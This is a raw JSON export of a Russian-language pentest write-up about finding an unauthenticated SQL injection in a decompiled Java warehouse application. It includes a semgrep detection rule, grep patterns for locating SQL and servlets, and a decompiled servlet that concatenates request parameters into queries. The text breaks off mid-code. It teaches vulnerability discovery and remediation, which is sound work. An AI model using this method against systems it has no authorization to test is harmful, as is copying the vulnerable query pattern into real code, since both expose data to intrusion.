src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/18c\/c0b\/596\/18cc0b5964434a3ead862c057007bbda.png\" width=\"945\" height=\"849\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/r\/w780\/getpro\/habr\/upload_files\/18c\/c0b\/596\/18cc0b5964434a3ead862c057007bbda.png 780w,&#10;       https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/18c\/c0b\/596\/18cc0b5964434a3ead862c057007bbda.png 781w\" loading=\"lazy\" decode=\"async\"\/><\/figure>\n<p>\u0422\u043e\u0447\u043d\u0435\u0435 \u2014 \u043f\u0440\u0430\u0432\u0438\u043b\u043e semgrep, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u043b\u043e\u0432\u0438\u0442 \u043f\u043e\u0442\u043e\u043a \u043e\u0442 getParameter \u0432 Statement (taint):<\/p>\n<p><code>rules:<br \/> \u00a0 - id: jdbc-sqli-concat<br \/> \u00a0\u00a0\u00a0 languages: [java]<br \/> \u00a0\u00a0\u00a0 severity: ERROR<br \/> \u00a0\u00a0\u00a0 message: SQL-\u0441\u0442\u0440\u043e\u043a\u0430 \u0441\u043a\u043b\u0435\u0435\u043d\u0430 \u0441 \u043d\u0435\u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u043c\u0438 \u0434\u0430\u043d\u043d\u044b\u043c\u0438 \u2014 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0439\u0442\u0435 PreparedStatement<br \/> \u00a0\u00a0\u00a0 mode: taint<br \/> \u00a0\u00a0\u00a0 pattern-sources:<br \/> \u00a0\u00a0\u00a0\u00a0\u00a0 - pattern: (HttpServletRequest $R).getParameter(...)<br \/> \u00a0\u00a0\u00a0 pattern-sinks:<br \/> \u00a0\u00a0\u00a0\u00a0\u00a0 - pattern: (Statement $S).executeQuery(...)<br \/> \u00a0\u00a0 \u00a0\u00a0\u00a0- pattern: (Statement $S).execute(...)<\/code><\/p>\n<p>\u041e\u0434\u043d\u043e \u0442\u0430\u043a\u043e\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u043e \u0432 CI \u043b\u043e\u0432\u0438\u0442 \u0432\u0435\u0441\u044c \u043a\u043b\u0430\u0441\u0441 \u0434\u043e \u043f\u0440\u043e\u0434\u0430 \u2014 \u0438 warehouseId, \u0438 \u043b\u044e\u0431\u043e\u0439 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043a\u0442\u043e-\u043d\u0438\u0431\u0443\u0434\u044c \u0441\u043a\u043b\u0435\u0438\u0442 \u0432 \u0437\u0430\u043f\u0440\u043e\u0441 \u043d\u0430 \u0430\u0432\u0442\u043e\u043f\u0438\u043b\u043e\u0442\u0435.<\/p>\n<h2>\u041a\u043e\u0440\u043e\u0442\u043a\u043e<\/h2>\n<p>\u041f\u044f\u0442\u043d\u0430\u0434\u0446\u0430\u0442\u044c \u043c\u0438\u043d\u0443\u0442 \u0447\u0442\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u2014 \u0438 \u0435\u0441\u0442\u044c \u043f\u043e\u043b\u043d\u0430\u044f \u043a\u0430\u0440\u0442\u0438\u043d\u0430: \u043a\u0430\u043a\u043e\u0439 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440, \u0432 \u043a\u0430\u043a\u043e\u043c \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0435, \u0437\u0430 \u043a\u0430\u043a\u0438\u043c\u0438 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u043c\u0438, \u0432 \u043a\u0430\u043a\u043e\u0439 \u0431\u0430\u0437\u0435. \u0414\u0430\u043b\u044c\u0448\u0435 \u2014 \u043a\u043e\u0440\u043e\u0442\u043a\u0438\u0439 \u0437\u0430\u043f\u0440\u043e\u0441 \u0438 \u043f\u043e\u043d\u044f\u0442\u043d\u044b\u0439 \u0444\u0438\u043a\u0441.<\/p>\n<p>\u0418\u043d\u044a\u0435\u043a\u0446\u0438\u0438 \u0440\u0435\u0434\u043a\u043e \u043f\u0440\u044f\u0447\u0443\u0442\u0441\u044f \u0432 \u044d\u043a\u0437\u043e\u0442\u0438\u043a\u0435. \u041e\u0431\u044b\u0447\u043d\u043e \u044d\u0442\u043e \u0441\u043a\u0443\u0447\u043d\u0430\u044f \u0441\u0442\u0440\u043e\u043a\u0430, \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u043d\u0430\u044f \u043d\u0430 \u0430\u0432\u0442\u043e\u043f\u0438\u043b\u043e\u0442\u0435. \u0426\u0435\u043d\u0430 \u0432\u043e\u043f\u0440\u043e\u0441\u0430 \u2014 \u043e\u0434\u0438\u043d PreparedStatement.<\/p>\n<\/div>\n<p>\u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438 <a href=\"https:\/\/habr.com\/ru\/articles\/1083916\/\">https:\/\/habr.com\/ru\/articles\/1083916\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>SQL\u2011\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u044f \u0447\u0435\u0440\u0435\u0437 \u0434\u0435\u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u044e: \u043e\u0442\u00a0JAR\u2011\u0444\u0430\u0439\u043b\u0430 \u0434\u043e\u00a0\u0437\u0430\u0445\u0432\u0430\u0442\u0430 \u043f\u0430\u0440\u043e\u043b\u044f\u041c\u0430\u0442\u0435\u0440\u0438\u0430\u043b \u043d\u043e\u0441\u0438\u0442 \u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0439 \u0445\u0430\u0440\u0430\u043a\u0442\u0435\u0440. \u0412\u0441\u0435 \u0440\u0430\u0431\u043e\u0442\u044b \u0432\u0435\u043b\u0438\u0441\u044c \u043b\u0435\u0433\u0430\u043b\u044c\u043d\u043e, \u0432\u00a0\u0440\u0430\u043c\u043a\u0430\u0445 \u043f\u0435\u043d\u0442\u0435\u0441\u0442\u0430, \u0441\u00a0\u043f\u0438\u0441\u044c\u043c\u0435\u043d\u043d\u043e\u0433\u043e \u0441\u043e\u0433\u043b\u0430\u0441\u0438\u044f \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0438 \u0432\u00a0\u0438\u0437\u043e\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c \u043a\u043e\u043d\u0442\u0443\u0440\u0435. \u041d\u0430\u0437\u0432\u0430\u043d\u0438\u0435 \u043a\u043b\u0438\u0435\u043d\u0442\u0430 \u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430 \u043d\u0435\u00a0\u0440\u0430\u0441\u043a\u0440\u044b\u0432\u0430\u0435\u043c\u00a0\u2014 NDA. \u0418\u043c\u0435\u043d\u0430 \u043a\u043b\u0430\u0441\u0441\u043e\u0432, \u043f\u0430\u043a\u0435\u0442\u043e\u0432 \u0438 \u0442\u0430\u0431\u043b\u0438\u0446 \u0432\u00a0\u043b\u0438\u0441\u0442\u0438\u043d\u0433\u0430\u0445 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u044b. \u041f\u0440\u0438\u043c\u0435\u043d\u044f\u0439\u0442\u0435 \u044d\u0442\u043e \u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0430\u00a0\u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445, \u0434\u043e\u0441\u0442\u0443\u043f \u043a\u00a0\u043a\u043e\u0442\u043e\u0440\u044b\u043c \u0443\u00a0\u0432\u0430\u0441 \u0435\u0441\u0442\u044c. \u0414\u043e\u0441\u0442\u0443\u043f \u043a\u00a0\u0447\u0443\u0436\u0438\u043c \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u043c \u0431\u0435\u0437\u00a0\u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0435\u0441\u043b\u0435\u0434\u0443\u0435\u0442\u0441\u044f \u043f\u043e\u00a0\u0437\u0430\u043a\u043e\u043d\u0443.\u041a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u0430\u044f Java\u2011\u0441\u0438\u0441\u0442\u0435\u043c\u0430: \u0441\u043a\u043b\u0430\u0434\u0441\u043a\u043e\u0439 \u0443\u0447\u0435\u0442, \u0432\u0435\u0431\u2011\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441, HTTPS. \u0412\u043d\u0443\u0442\u0440\u0438\u00a0\u2014 SQL\u2011\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u044f \u0431\u0435\u0437\u00a0\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0432\u00a0\u043e\u0434\u043d\u043e\u043c GET\u2011\u0437\u0430\u043f\u0440\u043e\u0441\u0435, \u0438\u0437\u2011\u0437\u0430 \u0441\u0442\u0440\u043e\u043a\u0438 \u00ab&#8230; WHERE ID=\u00bb + \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440.\u0420\u0430\u0437\u0431\u0435\u0440\u0435\u043c, \u043a\u0430\u043a\u00a0\u043d\u0430\u0439\u0442\u0438 \u0442\u0430\u043a\u0443\u044e \u0432\u00a0\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0438 \u0431\u0435\u0437\u00a0\u0438\u0441\u0445\u043e\u0434\u043d\u0438\u043a\u043e\u0432: \u0434\u0435\u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u044f JAR \u2192 \u0447\u0442\u0435\u043d\u0438\u0435 \u0441\u0435\u0440\u0432\u043b\u0435\u0442\u043e\u0432 \u2192 \u0443\u044f\u0437\u0432\u0438\u043c\u0430\u044f \u0441\u0442\u0440\u043e\u043a\u0430 \u2192 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u0447\u0435\u0440\u0435\u0437 pg_sleep. \u041a\u0430\u0436\u0434\u044b\u0439 \u0448\u0430\u0433 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c.\u041f\u043e\u0447\u0435\u043c\u0443 \u0430\u043d\u0430\u043b\u0438\u0437 \u043a\u043e\u0434\u0430\u0418\u043d\u044a\u0435\u043a\u0446\u0438\u044e \u043c\u043e\u0436\u043d\u043e \u043d\u0430\u0449\u0443\u043f\u0430\u0442\u044c \u0438 \u043f\u0435\u0440\u0435\u0431\u043e\u0440\u043e\u043c \u0441\u043d\u0430\u0440\u0443\u0436\u0438. \u041d\u043e\u00a0\u0435\u0441\u043b\u0438 \u0435\u0441\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a\u00a0\u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430\u043c \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f (\u0434\u043b\u044f \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0432\u00a0\u0441\u0432\u043e\u0435\u0439\u00a0\u0436\u0435 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435 \u043e\u043d\u0438 \u043f\u043e\u0447\u0442\u0438 \u0432\u0441\u0435\u0433\u0434\u0430 \u0435\u0441\u0442\u044c), \u0447\u0442\u0435\u043d\u0438\u0435 \u043a\u043e\u0434\u0430 \u0434\u0430\u0435\u0442 \u0431\u043e\u043b\u044c\u0448\u0435:\u00b7\u00a0\u0442\u043e\u0447\u043d\u0443\u044e \u043f\u0440\u0438\u0447\u0438\u043d\u0443\u00a0\u2014 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u0443\u044e \u0441\u0442\u0440\u043e\u043a\u0443, \u0430\u00a0\u043d\u0435 \u00ab\u0433\u0434\u0435\u2011\u0442\u043e \u0437\u0434\u0435\u0441\u044c \u043b\u043e\u043c\u0430\u0435\u0442\u0441\u044f\u00bb;\u00b7\u00a0\u0432\u0441\u0435 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b \u0438 \u0432\u0435\u0442\u0432\u043b\u0435\u043d\u0438\u044f if\/else \u0441\u0440\u0430\u0437\u0443\u00a0\u2014 \u043d\u0435\u00a0\u043d\u0443\u0436\u043d\u043e \u0443\u0433\u0430\u0434\u044b\u0432\u0430\u0442\u044c;\u00b7\u00a0\u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u00a0\u2014 \u0432\u0438\u0434\u043d\u0430 \u0421\u0423\u0411\u0414, \u0440\u0430\u0431\u043e\u0447\u0438\u0439 \u0441\u0438\u043d\u0442\u0430\u043a\u0441\u0438\u0441 \u0438 \u0441\u043f\u043e\u0441\u043e\u0431 \u0444\u0438\u043a\u0441\u0430.\u041d\u0435\u00a0\u0437\u0430\u043c\u0435\u043d\u0430 \u0434\u0438\u043d\u0430\u043c\u0438\u0447\u0435\u0441\u043a\u043e\u043c\u0443 \u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044e, \u043d\u043e\u00a0\u0440\u0430\u0437\u043e\u0431\u0440\u0430\u0442\u044c\u0441\u044f \u0432\u00a0\u0431\u0430\u0433\u0435 \u0434\u043e\u00a0\u043a\u043e\u043d\u0446\u0430\u00a0\u2014 \u043c\u0438\u043d\u0443\u0442\u044b \u0432\u043c\u0435\u0441\u0442\u043e \u0441\u043e\u0442\u0435\u043d \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432.\u0427\u0442\u043e\u00a0\u0437\u0430 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435\u0426\u0435\u043b\u044c, \u0431\u0435\u0437\u00a0\u043d\u0430\u0437\u0432\u0430\u043d\u0438\u044f:\u00b7\u00a0Java-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u043d\u0430 \u0432\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u043e\u043c Jetty, HTTPS, \u043f\u043e\u0440\u0442 8443;\u00b7\u00a0\u0431\u044d\u043a\u0435\u043d\u0434 \u2014 PostgreSQL;\u00b7\u00a0\u043a\u043e\u0434 \u0432 JAR-\u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430\u0445 \u0432 WEB-INF\\lib;\u00b7\u00a0\u0432\u043d\u0443\u0442\u0440\u0438 \u2014 \u0441\u0435\u0440\u0432\u043b\u0435\u0442\u044b \u0438 web.xml, ORM \u043d\u0435\u0442, SQL \u043f\u0438\u0448\u0435\u0442\u0441\u044f \u0440\u0443\u043a\u0430\u043c\u0438.\u0422\u0438\u043f\u0438\u0447\u043d\u044b\u0439 Java-\u043c\u043e\u043d\u043e\u043b\u0438\u0442 \u0438\u0437 \u0432\u0440\u0435\u043c\u0435\u043d, \u043a\u043e\u0433\u0434\u0430 PreparedStatement \u0441\u0447\u0438\u0442\u0430\u043b\u0441\u044f \u0438\u0437\u043b\u0438\u0448\u0435\u0441\u0442\u0432\u043e\u043c.\u0418\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b\u00b7\u00a0JD-GUI \u2014 \u0434\u0435\u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u044f .jar\/.class \u0432 \u0447\u0438\u0442\u0430\u0435\u043c\u044b\u0439 Java-\u043a\u043e\u0434.\u00b7\u00a0Notepad++ (\u0438\u043b\u0438 ripgrep\/VS Code) \u2014 \u043f\u043e\u0438\u0441\u043a \u043f\u043e \u0434\u0435\u0440\u0435\u0432\u0443 \u0438\u0441\u0445\u043e\u0434\u043d\u0438\u043a\u043e\u0432 \u0440\u0435\u0433\u0443\u043b\u044f\u0440\u043a\u0430\u043c\u0438.\u00b7\u00a0 Python 3 + requests \u2014 PoC.\u00b7 curl\u00a0\u2014 \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u0437\u0430\u043f\u0440\u043e\u0441 \u0440\u0443\u043a\u0430\u043c\u0438.JD-GUI \u2014 \u0437\u0430 \u0441\u043a\u043e\u0440\u043e\u0441\u0442\u044c \u0438 \u043f\u0443\u043d\u043a\u0442 File \u2192 Save All Sources, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432\u044b\u0433\u0440\u0443\u0436\u0430\u0435\u0442 JAR \u0432 \u0434\u0435\u0440\u0435\u0432\u043e .java-\u0444\u0430\u0439\u043b\u043e\u0432. \u0414\u043b\u044f \u043e\u0431\u0444\u0443\u0441\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0441\u0431\u043e\u0440\u043e\u043a \u043b\u0443\u0447\u0448\u0435 CFR \u0438\u043b\u0438 Procyon; \u0437\u0434\u0435\u0441\u044c \u043e\u0431\u0444\u0443\u0441\u043a\u0430\u0446\u0438\u0438 \u043d\u0435\u0442.\u0414\u0435\u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u044f \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442 \u0438\u0441\u0445\u043e\u0434\u043d\u0438\u043a \u0438\u0437 \u0431\u0430\u0439\u0442\u043a\u043e\u0434\u0430. Java \u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0432 .class \u0441 \u0441\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u0438\u0435\u043c \u0438\u043c\u0435\u043d \u043c\u0435\u0442\u043e\u0434\u043e\u0432, \u043f\u043e\u043b\u0435\u0439 \u0438 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u043a\u043b\u0430\u0441\u0441\u043e\u0432, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0431\u043b\u0438\u0437\u043e\u043a \u043a \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b\u0443 \u2014 \u0442\u0435\u0440\u044f\u044e\u0442\u0441\u044f \u0432 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u043c \u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0438 \u0438 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0435 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0435. \u0414\u043b\u044f \u0447\u0442\u0435\u043d\u0438\u044f \u043b\u043e\u0433\u0438\u043a\u0438 \u044d\u0442\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e.\u0428\u0430\u0433 1. \u0414\u043e\u0441\u0442\u0430\u0435\u043c \u0438\u0441\u0445\u043e\u0434\u043d\u0438\u043a\u0438\u0412\u00a0WEB\u2011INF\\lib \u043b\u0435\u0436\u0430\u0442 JAR\u2011\u044b \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0432\u043f\u0435\u0440\u0435\u043c\u0435\u0448\u043a\u0443 \u0441\u043e \u0441\u0442\u043e\u0440\u043e\u043d\u043d\u0438\u043c\u0438 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u044f\u043c\u0438. \u041d\u0443\u0436\u043d\u044b \u0442\u043e\u043b\u044c\u043a\u043e JAR \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f. \u041e\u0442\u043b\u0438\u0447\u0430\u0435\u043c \u0438\u0445 \u043f\u043e \u0438\u043c\u0435\u043d\u0438 \u0432\u0435\u043d\u0434\u043e\u0440\u0430: \u043d\u0430\u0448\u0438\u00a0\u2014 acme\u2011wms\u2011*, \u0432\u0441\u0435 \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u043e\u0435 (postgresql\u2011*, commons\u2011*, \u2011slf4j\u2011)\u00a0\u2014 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438, \u0438\u0445 \u043f\u0440\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u043c. \u041d\u0430\u00a0\u0440\u0430\u0437\u043c\u0435\u0440 \u043d\u0435\u00a0\u0441\u043c\u043e\u0442\u0440\u0438\u043c: \u0443\u00a0\u043a\u043e\u043c\u043f\u0430\u043a\u0442\u043d\u043e\u0433\u043e \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0435\u0433\u043e\u00a0\u0436\u0435 JAR\u2011\u044b\u00a0\u0431\u044b\u0432\u0430\u044e\u0442 \u043c\u0435\u043d\u044c\u0448\u0435 \u0441\u0442\u043e\u0440\u043e\u043d\u043d\u0438\u0445.WEB\u2011INF\\lib\\ \u251c\u2500 acme\u2011wms\u2011core.jar                                    &lt;\u2011 \u044f\u0434\u0440\u043e \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f (\u043d\u0430\u0448 \u0432\u0435\u043d\u0434\u043e\u0440) \u251c\u2500 acme\u2011wms\u2011web.jar                                    &lt;\u2011 \u0441\u0435\u0440\u0432\u043b\u0435\u0442\u044b \u0438 \u0432\u0435\u0431\u2011\u0441\u043b\u043e\u0439 &lt;\u2011 \u0441\u044e\u0434\u0430 \u251c\u2500 acme\u2011wms\u2011reporting.jar                             &lt;\u2011 \u043e\u0442\u0447\u0435\u0442\u044b \u251c\u2500 postgresql-42.7.11.jar                                (\u0441\u0442\u043e\u0440\u043e\u043d\u043d\u044f\u044f, \u043f\u0440\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u043c) \u251c\u2500 commons\u2011lang3-3.20.0.jar                         (\u0441\u0442\u043e\u0440\u043e\u043d\u043d\u044f\u044f, \u043f\u0440\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u043c) \u251c\u2500 commons\u2011io-2.22.0.jar                                (\u0441\u0442\u043e\u0440\u043e\u043d\u043d\u044f\u044f, \u043f\u0440\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u043c) \u2514\u2500 &#8230;\u00a0 (slf4j \u0438 \u043f\u0440\u043e\u0447\u0438\u0435)\u041a\u0430\u0442\u0430\u043b\u043e\u0433 WEB-INF\\lib: \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0443\u0437\u043d\u0430\u0435\u043c \u043f\u043e \u0438\u043c\u0435\u043d\u0438 \u0432\u0435\u043d\u0434\u043e\u0440\u0430 acme-wms-*, \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u043e\u0435 \u2014 \u0441\u0442\u043e\u0440\u043e\u043d\u043d\u0438\u0435\u041e\u0442\u043a\u0440\u044b\u0432\u0430\u0435\u043c acme-wms-web.jar \u0432 JD-GUI \u2192 File \u2192 Save All Sources \u2192 \u0440\u0430\u0441\u043f\u0430\u043a\u043e\u0432\u044b\u0432\u0430\u0435\u043c \u0430\u0440\u0445\u0438\u0432. \u0418\u0441\u0445\u043e\u0434\u043d\u0438\u043a\u0438 \u0435\u0441\u0442\u044c.\u0428\u0430\u0433 2. \u0418\u0449\u0435\u043c SQL \u0432 \u043a\u043e\u0434\u0435\u0413\u0440\u0435\u043f\u043d\u0443\u0442\u044c SQL \u043f\u043e \u0432\u0441\u0435\u043c\u0443 \u043a\u043e\u0434\u0443:^.*?select.*?from.*?$ ^.*?query.*?select.*?\u0422\u044b\u0441\u044f\u0447\u0438 \u0441\u043e\u0432\u043f\u0430\u0434\u0435\u043d\u0438\u0439 \u0432 \u0441\u043e\u0442\u043d\u044f\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 &#8212; \u0435\u0441\u043b\u0438 \u043f\u0440\u043e\u0435\u043a\u0442 \u0431\u043e\u043b\u044c\u0448\u043e\u0439, \u0430\u043d\u0430\u043b\u0438\u0437 \u043c\u043e\u0436\u0435\u0442 \u0437\u0430\u043d\u0438\u043c\u0430\u0442\u044c \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0447\u0430\u0441\u043e\u0432.Find in Files \u0432 Notepad++: \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u043f\u043e\u0438\u0441\u043a\u0430.\u0421\u0443\u0436\u0430\u0435\u043c \u0434\u043e \u0441\u0435\u0440\u0432\u043b\u0435\u0442\u043e\u0432\u0421\u0435\u0440\u0432\u043b\u0435\u0442 \u2014 Java-\u043a\u043b\u0430\u0441\u0441, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u0442 HTTP-\u0437\u0430\u043f\u0440\u043e\u0441. GET \u0443\u0445\u043e\u0434\u0438\u0442 \u0432 \u043c\u0435\u0442\u043e\u0434 doGet, POST \u2014 \u0432 doPost, \u0438 \u0442\u0430\u043a \u0434\u0430\u043b\u0435\u0435. \u0418\u043c\u0435\u043d\u043d\u043e \u0442\u0430\u043c \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0432\u043f\u0435\u0440\u0432\u044b\u0435 \u043a\u0430\u0441\u0430\u0435\u0442\u0441\u044f \u0434\u0430\u043d\u043d\u044b\u0445 \u0438\u0437 \u0437\u0430\u043f\u0440\u043e\u0441\u0430, \u0442\u0430\u043a \u0447\u0442\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0447\u0442\u0438 \u0432\u0441\u0435\u0433\u0434\u0430 \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442\u0441\u044f \u0432 \u043e\u0434\u043d\u043e\u043c \u0438\u0437 \u044d\u0442\u0438\u0445 \u043c\u0435\u0442\u043e\u0434\u043e\u0432. \u0418\u0449\u0435\u043c \u043f\u043e \u043d\u0438\u043c:doGet doPost doPut doDelete\u0421\u0443\u0436\u0430\u0435\u043c \u043f\u043e \u0440\u0435\u0433\u0443\u043b\u044f\u0440\u043a\u0435 do(Get|Post|Put|Delete). \u0421\u0440\u0435\u0434\u0438 \u0441\u0435\u0440\u0432\u043b\u0435\u0442\u043e\u0432 \u2014 ReportExportServlet.java. \u042d\u043a\u0441\u043f\u043e\u0440\u0442 \u043e\u0442\u0447\u0435\u0442\u043e\u0432 = \u0432\u044b\u0431\u043e\u0440\u043a\u0430 \u0438\u0437 \u0411\u0414 \u043f\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u043c \u0444\u0438\u043b\u044c\u0442\u0440\u0430\u043c, \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b \u0435\u0434\u0443\u0442 \u043f\u0440\u044f\u043c\u043e \u0432 SQL. \u041e\u0442\u043a\u0440\u044b\u0432\u0430\u0435\u043c.\u041f\u043e\u0438\u0441\u043a \u043f\u043e doGet: \u0441\u0440\u0435\u0434\u0438 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u0432 \u2014 ReportExportServlet.java.\u0428\u0430\u0433 3. \u0427\u0438\u0442\u0430\u0435\u043c \u0441\u0435\u0440\u0432\u043b\u0435\u0442\u0422\u043e\u0447\u043a\u0438 \u0432\u0445\u043e\u0434\u0430\u0421\u0438\u0433\u043d\u0430\u0442\u0443\u0440\u044b \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u043e\u0432:doPost \u0434\u0435\u043b\u0435\u0433\u0438\u0440\u0443\u0435\u0442 \u0432 doGet \u2014 \u0430\u0442\u0430\u043a\u043e\u0432\u0430\u0442\u044c \u043c\u043e\u0436\u043d\u043e \u0438 GET, \u0438 POST.\u0421\u0430\u043c doGet:public void doGet(HttpServletRequest request, HttpServletResponse response) \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 throws ServletException, IOException { \u00a0\u00a0\u00a0 response.setContentType(&#171;text\/html; charset=UTF-8&#187;); \u00a0\u00a0\u00a0 PrintWriter out = response.getWriter();  \u00a0\u00a0\u00a0 String fullExport = request.getParameter(&#171;fullExport&#187;); \u00a0\u00a0\u00a0 if ((fullExport != null) &amp;&amp; (&#171;true&#187;.equals(fullExport))) { \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 exportFullCatalog(out); \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 return; \u00a0\u00a0\u00a0 }  \u00a0\u00a0\u00a0 String minQty = request.getParameter(&#171;minQty&#187;); \u00a0\u00a0\u00a0 String warehouseId = request.getParameter(&#171;warehouseId&#187;); \u00a0\u00a0\u00a0 String includeArchived = request.getParameter(&#171;includeArchived&#187;);  \u00a0\u00a0\u00a0 if ((includeArchived != null) &amp;&amp; (&#171;true&#187;.equals(includeArchived))) { \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 boolean archived = AccessUtil.hasArchiveAccess(warehouseId); \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 out.println(archived); \u00a0\u00a0\u00a0 } else if (minQty != null) { \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 if ((warehouseId != null) &amp;&amp; (!&#187;&#187;.equals(warehouseId))) { \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 exportStockByWarehouse(warehouseId, minQty, 